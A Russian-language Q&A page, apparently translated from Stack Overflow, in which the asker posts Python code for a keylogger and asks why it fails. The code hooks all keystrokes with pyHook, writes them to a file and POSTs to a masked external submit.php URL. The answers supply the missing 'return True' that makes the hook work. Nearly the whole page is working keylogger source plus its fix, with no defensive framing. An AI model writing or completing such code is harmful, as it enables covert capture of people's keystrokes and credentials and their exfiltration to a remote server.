2015-06-08 4 views
0

Я пытаюсь сделать кейлоггер, который отправляет текст на веб-сервер. Используя pyHook и httplib2, я смог успешно заставить их работать отдельно. Однако, когда я пытаюсь объединить два, я получаю ошибку:Python keylogger: требуется целое число

An integer is required 

Я честно не знаю, почему это вызвано. Обе функции работают сами по себе, поэтому почему я не могу их объединить? Какие-либо предложения?

Спасибо!

import pyHook 
import pythoncom 
import time 
from httplib2 import Http 
from urllib import urlencode 

h = Http() 

log_file = "control.txt"   
message = "" 
f = open(log_file,"a") 
def pressed_chars(event): 
    if event.Ascii: 
     global message 
     char = chr(event.Ascii) 
     if char == "q": 
      f.close() 
      exit() 
     if event.Ascii == 13: 
      f.write("\n") 
      data = dict(cmd="openurl") 
      testVar = h.request("http://www.**********/submit.php", "POST", urlencode(data)) 
      message = "" 
     f.write(char) 
     message = message+char 
     print(message) 

proc = pyHook.HookManager() 
proc.KeyDown = pressed_chars 
proc.HookKeyboard() 
pythoncom.PumpMessages() 

ответ

1

Кажется, вы не возвращаете истину в pressed_chars. Попробуйте добавить строку return True и посмотреть, работает ли она!

+1

По какой-то причине, если вы ничего не вернете, pyHook даст неправильную трассировку, для меня это было time.sleep, для чего требуется целое число – user2682863

Смежные вопросы